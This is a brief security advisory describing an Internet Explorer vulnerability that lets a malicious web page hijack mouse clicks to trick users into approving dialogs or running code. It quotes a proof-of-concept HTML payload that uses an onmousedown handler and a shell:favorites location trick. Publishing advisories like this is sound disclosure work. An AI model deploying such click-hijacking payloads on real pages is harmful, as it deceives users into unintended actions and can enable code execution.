source: https://www.securityfocus.com/bid/10690/info A vulnerability exists in Microsoft Internet Explorer that may permit a malicious Web page to hijack mouse events. This could potentially be exploited to trick an unsuspecting user into performing unintended actions such as approving pop-up dialogs. The method caching variant of this attack is also reported to work. This issue could potentially be exploited to execute arbitrary code or be used in other attacks. A variant of this proof of concept has been supplied by http-equiv: Just substitute the following: 1. <img src="greyhat.html" id=anch onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height= 2000;parent.pop.show(1,1,1,1);parent.setTimeout('showalert ()',3000);" style="width=168px;height=152px;background-image:url ('youlickit.gif');cursor:hand" title="click me!"></a> 2. location="shell:favorites\\greyhat[1].htm"